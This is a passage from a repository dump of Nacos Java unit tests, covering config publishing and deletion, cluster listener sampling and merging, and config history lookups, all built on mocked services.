org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyMap;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * ConfigServiceTest.\n *\n * @author dongyafei\n * @date 2022/8/11\n */\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigOperationServiceTest {\n    \n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        this.configOperationService = new ConfigOperationService(configInfoPersistService, configInfoGrayPersistService,\n                configMigrateService);\n    }\n    \n    @Test\n    void testPublishConfigBeta() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        \n        configRequestInfo.setCasMd5(\"\");\n        configForm.setTag(\"\");\n        \n        // if betaIps is not blank and casMd5 is blank\n        configRequestInfo.setBetaIps(\"test-betaIps\");\n        \n        when(configInfoGrayPersistService.insertOrUpdateGray(any(ConfigInfo.class), eq(\"beta\"), anyString(),\n                eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n        Boolean eResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        assertTrue(eResult);\n        \n    }\n    \n    @Test\n    void testPublishConfigBetaCas() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        \n        configRequestInfo.setCasMd5(\"casMd5\");\n        configForm.setTag(\"\");\n        \n        // if betaIps is not blank and casMd5 is not blank\n        configRequestInfo.setBetaIps(\"test-betaIps\");\n        configRequestInfo.setCasMd5(\"test casMd5\");\n        \n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(any(ConfigInfo.class), eq(\"beta\"), anyString(),\n                eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n        Boolean fResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        assertTrue(fResult);\n    }\n\n    @Test\n    void testPublishConfigBetaCasWithMd5Set() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n\n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        String expectedCasMd5 = \"test-cas-md5-value\";\n        configRequestInfo.setBetaIps(\"test-betaIps\");\n        configRequestInfo.setCasMd5(expectedCasMd5);\n        configForm.setTag(\"\");\n\n        // Use ArgumentCaptor to capture the ConfigInfo object passed to insertOrUpdateGrayCas\n        ArgumentCaptor<ConfigInfo> configInfoCaptor = ArgumentCaptor.forClass(ConfigInfo.class);\n\n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(configInfoCaptor.capture(), eq(\"beta\"), anyString(),\n            eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n\n        Boolean result = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n\n        assertTrue(result);\n\n        // Verify that the md5 field of ConfigInfo is correctly set to the casMd5 value\n        ConfigInfo capturedConfigInfo = configInfoCaptor.getValue();\n        assertEquals(expectedCasMd5, capturedConfigInfo.getMd5(), \"ConfigInfo's md5 should be set to casMd5 value\");\n        assertEquals(\"test\", capturedConfigInfo.getDataId());\n        assertEquals(\"test\", capturedConfigInfo.getGroup());\n        assertEquals(\"test content\", capturedConfigInfo.getContent());\n    }\n    \n    @Test\n    void testPublishConfigTag() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        \n        configRequestInfo.setCasMd5(\"\");\n        String tag = \"testTag\";\n        configForm.setTag(tag);\n        \n        when(configInfoGrayPersistService.insertOrUpdateGray(any(ConfigInfo.class), eq(\"tag_\" + tag), anyString(),\n                eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n        Boolean cResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        assertTrue(cResult);\n        \n    }\n    \n    @Test\n    void testPublishConfigTagCas() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        \n        configRequestInfo.setCasMd5(\"casMd5\");\n        String tag = \"testTag\";\n        configForm.setTag(tag);\n        \n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(any(ConfigInfo.class), eq(\"tag_\" + tag), anyString(),\n                eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n        Boolean dResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        assertTrue(dResult);\n    }\n\n    @Test\n    void testPublishConfigTagCasWithMd5Set() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n\n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        String expectedCasMd5 = \"test-cas-md5-value\";\n        String tag = \"testTag\";\n        configRequestInfo.setCasMd5(expectedCasMd5);\n        configForm.setTag(tag);\n\n        // Use ArgumentCaptor to capture the ConfigInfo object passed to insertOrUpdateGrayCas\n        ArgumentCaptor<ConfigInfo> configInfoCaptor = ArgumentCaptor.forClass(ConfigInfo.class);\n\n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(configInfoCaptor.capture(), eq(\"tag_\" + tag), anyString(),\n            eq(configRequestInfo.getSrcIp()), eq(configForm.getSrcUser()))).thenReturn(new ConfigOperateResult());\n\n        Boolean result = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n\n        assertTrue(result);\n\n        // Verify that the md5 field of ConfigInfo is correctly set to the casMd5 value\n        ConfigInfo capturedConfigInfo = configInfoCaptor.getValue();\n        assertEquals(expectedCasMd5, capturedConfigInfo.getMd5(), \"ConfigInfo's md5 should be set to casMd5 value\");\n        assertEquals(\"test\", capturedConfigInfo.getDataId());\n        assertEquals(\"test\", capturedConfigInfo.getGroup());\n        assertEquals(\"test content\", capturedConfigInfo.getContent());\n    }\n    \n    @Test\n    void testPublishConfig() throws NacosException {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"test\");\n        configForm.setGroup(\"test\");\n        configForm.setContent(\"test content\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        \n        // if betaIps is blank, tag is blank and casMd5 is blank\n        when(configInfoPersistService.insertOrUpdate(any(), any(), any(ConfigInfo.class), any())).thenReturn(\n                new ConfigOperateResult());\n        Boolean aResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        verify(configInfoPersistService).insertOrUpdate(any(), any(), any(ConfigInfo.class), any());\n        assertTrue(aResult);\n        \n        // if betaIps is blank, tag is blank and casMd5 is not blank\n        configRequestInfo.setCasMd5(\"test casMd5\");\n        when(configInfoPersistService.insertOrUpdateCas(any(), any(), any(ConfigInfo.class), any())).thenReturn(\n                new ConfigOperateResult());\n        Boolean bResult = configOperationService.publishConfig(configForm, configRequestInfo, \"\");\n        verify(configInfoPersistService).insertOrUpdateCas(any(), any(), any(ConfigInfo.class), any());\n        assertTrue(bResult);\n        configRequestInfo.setCasMd5(\"\");\n    }\n    \n    @Test\n    void testUpdateForExistTrue() throws Exception {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"testDataId\");\n        configForm.setGroup(\"testGroup\");\n        configForm.setNamespaceId(\"testNamespaceId\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setSrcType(\"http\");\n        configRequestInfo.setSrcIp(\"1.1.1.1\");\n        \n        when(configInfoPersistService.insertOrUpdate(anyString(), isNull(), any(ConfigInfo.class), anyMap()))\n                .thenReturn(new ConfigOperateResult(true));\n\n        Boolean result = configOperationService.publishConfig(configForm, configRequestInfo, \"encryptedKey\");\n        assertTrue(result);\n        verify(configInfoPersistService, times(1)).insertOrUpdate(anyString(), isNull(), any(ConfigInfo.class), anyMap());\n    }\n    \n    @Test\n    void testAddConfigInfoSuccess() throws Exception {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"testDataId\");\n        configForm.setGroup(\"testGroup\");\n        configForm.setNamespaceId(\"testNamespaceId\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setSrcType(\"http\");\n        configRequestInfo.setSrcIp(\"1.1.1.1\");\n        configRequestInfo.setUpdateForExist(false);\n        \n        when(configInfoPersistService.addConfigInfo(anyString(), isNull(), any(ConfigInfo.class), anyMap()))\n                .thenReturn(new ConfigOperateResult(true));\n        \n        Boolean result = configOperationService.publishConfig(configForm, configRequestInfo, \"encryptedKey\");\n        \n        assertTrue(result);\n        verify(configInfoPersistService, times(1)).addConfigInfo(anyString(), isNull(), any(ConfigInfo.class), anyMap());\n    }\n    \n    @Test\n    void testAddConfigInfoThrowsException() {\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(\"testDataId\");\n        configForm.setGroup(\"testGroup\");\n        configForm.setNamespaceId(\"testNamespaceId\");\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setSrcType(\"http\");\n        configRequestInfo.setSrcIp(\"1.1.1.1\");\n        configRequestInfo.setUpdateForExist(false);\n        \n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"testDataId\");\n        configInfo.setGroup(\"testGroup\");\n        configInfo.setTenant(\"testNamespaceId\");\n        \n        when(configInfoPersistService.addConfigInfo(eq(\"1.1.1.1\"), isNull(), eq(configInfo), anyMap()))\n                .thenThrow(new DataIntegrityViolationException(\"Duplicate entry\"));\n        \n        NacosException exception = assertThrows(NacosException.class, () -> {\n            configOperationService.publishConfig(configForm, configRequestInfo, \"encryptedKey\");\n        });\n        \n        String expectedMessage = \"config already exist, dataId: testDataId, group: testGroup, namespaceId: testNamespaceId\";\n        assertEquals(expectedMessage, exception.getMessage());\n        verify(configInfoPersistService, times(1)).addConfigInfo(anyString(), isNull(), eq(configInfo), anyMap());\n    }\n    \n    @Test\n    void testDeleteConfig() {\n        \n        // if tag is blank\n        Boolean aResult = configOperationService.deleteConfig(\"test\", \"test\", \"\", \"\", \"1.1.1.1\", \"test\", \"http\");\n        verify(configInfoPersistService).removeConfigInfo(eq(\"test\"), eq(\"test\"), eq(\"\"), any(), any());\n        assertTrue(aResult);\n        // if tag is not blank\n        Boolean bResult = configOperationService.deleteConfig(\"test\", \"test\", \"\", \"test\", \"1.1.1.1\", \"test\", \"http\");\n        assertTrue(bResult);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ConfigSubServiceTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ListenerCheckResult;\nimport com.alibaba.nacos.config.server.model.SampleResult;\nimport com.alibaba.nacos.config.server.service.notify.HttpClientManager;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.core.env.ConfigurableEnvironment;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CompletionService;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(SpringExtension.class)\nclass ConfigSubServiceTest {\n    \n    @Mock\n    ServerMemberManager serverMemberManager;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<HttpClientManager> httpClientManagerMockedStatic;\n    \n    @Mock\n    NacosRestTemplate nacosRestTemplate;\n    \n    @Mock\n    NacosAsyncRestTemplate nacosAsyncRestTemplate;\n    \n    private ConfigSubService configSubService;\n    \n    @BeforeEach\n    void startUP() {\n        \n        httpClientManagerMockedStatic = Mockito.mockStatic(HttpClientManager.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        configSubService = new ConfigSubService(serverMemberManager);\n        envUtilMockedStatic.when(() -> EnvUtil.getContextPath()).thenReturn(\"/nacos\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), anyString())).thenReturn(\"mock string\");\n        EnvUtil.setContextPath(\"/nacos\");\n        httpClientManagerMockedStatic.when(() -> HttpClientManager.getNacosRestTemplate())\n                .thenReturn(nacosRestTemplate);\n        httpClientManagerMockedStatic.when(() -> HttpClientManager.getNacosAsyncRestTemplate())\n                .thenReturn(nacosAsyncRestTemplate);\n    }\n    \n    @AfterEach\n    void after() {\n        if (!envUtilMockedStatic.isClosed()) {\n            envUtilMockedStatic.close();\n        }\n        httpClientManagerMockedStatic.close();\n    }\n    \n    @Test\n    void testGetCollectSampleResult() throws Exception {\n        envUtilMockedStatic.close();\n        EnvUtil.setContextPath(\"/nacos\");\n        ConfigurableEnvironment environment = Mockito.mock(ConfigurableEnvironment.class);\n        EnvUtil.setEnvironment(environment);\n        Mockito.when(environment.getProperty(anyString(), anyString())).thenReturn(\"/nacos\");\n        \n        Map<String, Member> mockedMembers = new HashMap<>();\n        mockedMembers.put(\"127.0.0.1\", createMember(\"127.0.0.1\"));\n        mockedMembers.put(\"127.0.0.2\", createMember(\"127.0.0.2\"));\n        mockedMembers.put(\"127.0.0.3\", createMember(\"127.0.0.3\"));\n        //mock server member\n        Mockito.when(serverMemberManager.allMembers()).thenReturn(mockedMembers.values());\n        Mockito.when(serverMemberManager.getServerList()).thenReturn(mockedMembers);\n        String dataId = \"dataid1234\";\n        String group = \"group34567\";\n        String tenant = \"tenant456789\";\n        int sampleTimes = 3;\n        //cant mock static method cross thread,so cant verify return obj here.\n        configSubService.getCollectSampleResult(dataId, group, tenant, sampleTimes);\n        configSubService.getCollectSampleResultByIp(\"127.0.0.1\", 3);\n    }\n    \n    @Test\n    void testRunSingleJob() throws Exception {\n        Map<String, String> params = new HashMap<>();\n        params.put(\"dataId\", \"d1\");\n        params.put(\"group\", \"g1\");\n        params.put(\"tenant\", \"t1\");\n        \n        HttpRestResult<Object> httpRestResult = new HttpRestResult<>();\n        httpRestResult.setCode(200);\n        httpRestResult.setMessage(\"success\");\n        \n        SampleResult sampleResult1 = new SampleResult();\n        Map<String, String> listener1 = new HashMap<>();\n        listener1.put(\"config1\", \"md51123\");\n        listener1.put(\"config11\", \"md5123123\");\n        sampleResult1.setLisentersGroupkeyStatus(listener1);\n        String mockJsonString = JacksonUtils.toJson(sampleResult1);\n        httpRestResult.setData(mockJsonString);\n        //mock success\n        Mockito.when(nacosRestTemplate.get(anyString(), any(Header.class), eq(Query.EMPTY), eq(String.class)))\n                .thenReturn(httpRestResult);\n        String url = \"url\";\n        SampleResult returnObj = (SampleResult) ConfigSubService.runSingleJob(\"127.0.0.1\", params, url,\n                SampleResult.class);\n        assertEquals(sampleResult1.getLisentersGroupkeyStatus(), returnObj.getLisentersGroupkeyStatus());\n        //mock fail response\n        httpRestResult.setCode(500);\n        Mockito.when(nacosRestTemplate.get(anyString(), any(Header.class), eq(Query.EMPTY), eq(String.class)))\n                .thenReturn(httpRestResult);\n        SampleResult returnObj500 = (SampleResult) ConfigSubService.runSingleJob(\"127.0.0.1\", params, url,\n                SampleResult.class);\n        assertNull(returnObj500);\n        \n        //mock get url throw exception\n        Mockito.when(nacosRestTemplate.get(anyString(), any(Header.class), eq(Query.EMPTY), eq(String.class)))\n                .thenThrow(new NacosRuntimeException(500, \"timeout\"));\n        SampleResult returnObjTimeout = (SampleResult) ConfigSubService.runSingleJob(\"127.0.0.1\", params, url,\n                SampleResult.class);\n        assertNull(returnObjTimeout);\n        \n    }\n    \n    @Test\n    void testClusterListenerJob() throws Exception {\n        Map<String, Member> mockedMembers = new HashMap<>();\n        mockedMembers.put(\"127.0.0.1\", createMember(\"127.0.0.1\"));\n        mockedMembers.put(\"127.0.0.2\", createMember(\"127.0.0.2\"));\n        mockedMembers.put(\"127.0.0.3\", createMember(\"127.0.0.3\"));\n        //mock server member\n        Mockito.when(serverMemberManager.allMembers()).thenReturn(mockedMembers.values());\n        Mockito.when(serverMemberManager.getServerList()).thenReturn(mockedMembers);\n        \n        CompletionService mockService = Mockito.mock(CompletionService.class);\n        //mock all success\n        Mockito.when(mockService.poll(anyLong(), any(TimeUnit.class)))\n                .thenReturn(createSampleResultFuture(true, true), createSampleResultFuture(true, true),\n                        createSampleResultFuture(true, true));\n        Map<String, String> params = new HashMap<>();\n        ConfigSubService.ClusterListenerJob clusterListenerJob = new ConfigSubService.ClusterListenerJob(params,\n                mockService, serverMemberManager);\n        List<SampleResult> sampleResults = clusterListenerJob.runJobs();\n        assertEquals(3, sampleResults.size());\n        \n        //mock success with exception\n        Mockito.when(mockService.poll(anyLong(), any(TimeUnit.class)))\n                .thenReturn(createSampleResultFuture(true, true), createSampleResultFuture(false, false))\n                .thenThrow(new NacosRuntimeException(500, \"13\"));\n        Map<String, String> params2 = new HashMap<>();\n        ConfigSubService.ClusterListenerJob clusterListenerJob2 = new ConfigSubService.ClusterListenerJob(params2,\n                mockService, serverMemberManager);\n        List<SampleResult> sampleResults2 = clusterListenerJob2.runJobs();\n        assertEquals(1, sampleResults2.size());\n        assertFalse(sampleResults2.get(0).getLisentersGroupkeyStatus().isEmpty());\n        \n    }\n    \n    @Test\n    void testMergeSampleResult() throws Exception {\n        SampleResult sampleResult1 = new SampleResult();\n        Map<String, String> listener1 = new HashMap<>();\n        listener1.put(\"config1\", \"md51123\");\n        listener1.put(\"config11\", \"md5123123\");\n        sampleResult1.setLisentersGroupkeyStatus(listener1);\n        SampleResult sampleResult2 = new SampleResult();\n        Map<String, String> listener2 = new HashMap<>();\n        listener2.put(\"config22\", \"md51123\");\n        listener2.put(\"config2\", \"md5123123\");\n        sampleResult2.setLisentersGroupkeyStatus(listener2);\n        List<SampleResult> sampleResults = new ArrayList<>();\n        sampleResults.add(sampleResult2);\n        SampleResult sampleResult3 = new SampleResult();\n        Map<String, String> listener3 = new HashMap<>();\n        listener3.put(\"config33\", \"md51123\");\n        listener3.put(\"config3\", \"md5123123\");\n        sampleResult3.setLisentersGroupkeyStatus(listener3);\n        sampleResults.add(sampleResult3);\n        //sampleResult ips is null\n        SampleResult sampleResultMerge1 = configSubService.mergeSampleResult(sampleResult1, sampleResults);\n        assertEquals(6, sampleResultMerge1.getLisentersGroupkeyStatus().size());\n        \n        SampleResult sampleResultMerge2 = configSubService.mergeSampleResult(new SampleResult(), sampleResults);\n        assertEquals(4, sampleResultMerge2.getLisentersGroupkeyStatus().size());\n    }\n    \n    @Test\n    void testMergeListenerCheckResult() throws Exception {\n        ListenerCheckResult sampleResult2 = new ListenerCheckResult();\n        sampleResult2.setHasListener(true);\n        sampleResult2.setCode(200);\n        List<ListenerCheckResult> sampleResults = new ArrayList<ListenerCheckResult>();\n        sampleResults.add(sampleResult2);\n        ListenerCheckResult sampleResult3 = new ListenerCheckResult();\n        sampleResult3.setHasListener(false);\n        sampleResult3.setCode(200);\n        sampleResults.add(sampleResult3);\n        ListenerCheckResult sampleResult1 = new ListenerCheckResult();\n        //one ip return true\n        ListenerCheckResult sampleResultMerge1 = configSubService.mergeListenerCheckResult(sampleResult1, sampleResults,\n                2);\n        assertEquals(200, sampleResultMerge1.getCode());\n        assertTrue(sampleResultMerge1.isHasListener());\n        //all ip return false,but not equals member size\n        sampleResult2.setHasListener(false);\n        sampleResult3.setHasListener(false);\n        sampleResult1.setHasListener(false);\n        ListenerCheckResult sampleResultMerge2 = configSubService.mergeListenerCheckResult(sampleResult1, sampleResults,\n                3);\n        assertEquals(201, sampleResultMerge2.getCode());\n        assertFalse(sampleResultMerge2.isHasListener());\n        \n    }\n    \n    private Future<SampleResult> createSampleResultFuture(boolean success, boolean lisentersGroupkeyStatus) {\n        Future<SampleResult> future = new Future<SampleResult>() {\n            \n            @Override\n            public boolean cancel(boolean mayInterruptIfRunning) {\n                return false;\n            }\n            \n            @Override\n            public boolean isCancelled() {\n                return false;\n            }\n            \n            @Override\n            public boolean isDone() {\n                return success ? true : false;\n            }\n            \n            @Override\n            public SampleResult get() {\n                \n                return success ? createSampleResult() : null;\n            }\n            \n            @Override\n            public SampleResult get(long timeout, TimeUnit unit) {\n                return success ? createSampleResult() : null;\n            }\n            \n            SampleResult createSampleResult() {\n                SampleResult sampleResult = new SampleResult();\n                if (lisentersGroupkeyStatus) {\n                    Map<String, String> listener = new HashMap<>();\n                    listener.put(\"config1\", \"md51123\");\n                    listener.put(\"config2\", \"md5123123\");\n                    sampleResult.setLisentersGroupkeyStatus(listener);\n                }\n                return sampleResult;\n            }\n        };\n        return future;\n    }\n    \n    Member createMember(String ip) {\n        Member member = new Member();\n        member.setIp(ip);\n        member.setPort(8848);\n        return member;\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/HistoryServiceTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.enums.OperationType;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfoDetail;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.api.model.Page;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * HistoryServiceTest.\n *\n * @author dongyafei\n * @date 2022/8/11\n */\n\n@ExtendWith(MockitoExtension.class)\nclass HistoryServiceTest {\n    \n    private static final String TEST_DATA_ID = \"test\";\n    \n    private static final String TEST_GROUP = \"test\";\n    \n    private static final String TEST_TENANT = \"\";\n    \n    private static final String TEST_CONTENT = \"test config\";\n\n    private static final String TEST_UPDATED_CONTENT = \"test config updated\";\n\n    private static final String TEST_OP_TYPE = OperationType.UPDATE.getValue();\n\n    private static final String TEST_MD5 = \"77963b7a931377ad4ab5ad6a9cd718aa\";\n\n    private static final String TEST_UPDATED_MD5 = \"3ba1e44fa18519221f6c70afc0e8ae84\";\n    \n    private HistoryService historyService;\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n\n    @Mock\n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        this.historyService = new HistoryService(historyConfigInfoPersistService, configInfoPersistService, configInfoGrayPersistService);\n    }\n    \n    @Test\n    void testListConfigHistory() {\n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        List<ConfigHistoryInfo> configHistoryInfoList = new ArrayList<>();\n        configHistoryInfoList.add(configHistoryInfo);\n        \n        Page<ConfigHistoryInfo> page = new Page<>();\n        page.setTotalCount(15);\n        page.setPageNumber(1);\n        page.setPagesAvailable(2);\n        page.setPageItems(configHistoryInfoList);\n        \n        when(historyConfigInfoPersistService.findConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, 1, 10)).thenReturn(page);\n        \n        Page<ConfigHistoryInfo> pageResult = historyService.listConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, 1, 10);\n        \n        verify(historyConfigInfoPersistService).findConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, 1, 10);\n        \n        List<ConfigHistoryInfo> resultList = pageResult.getPageItems();\n        ConfigHistoryInfo resConfigHistoryInfo = resultList.get(0);\n        \n        assertEquals(configHistoryInfoList.size(), resultList.size());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroup());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n    }\n    \n    @Test\n    void testGetConfigHistoryInfo() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_TENANT);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyConfigInfoPersistService.detailConfigHistory(1L)).thenReturn(configHistoryInfo);\n        \n        ConfigHistoryInfo resConfigHistoryInfo = historyService.getConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, 1L);\n        \n        verify(historyConfigInfoPersistService).detailConfigHistory(1L);\n        \n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroup());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetPreviousConfigHistoryInfo() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_TENANT);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyConfigInfoPersistService.detailPreviousConfigHistory(1L)).thenReturn(configHistoryInfo);\n        \n        ConfigHistoryInfo resConfigHistoryInfo = historyService.getPreviousConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, 1L);\n        \n        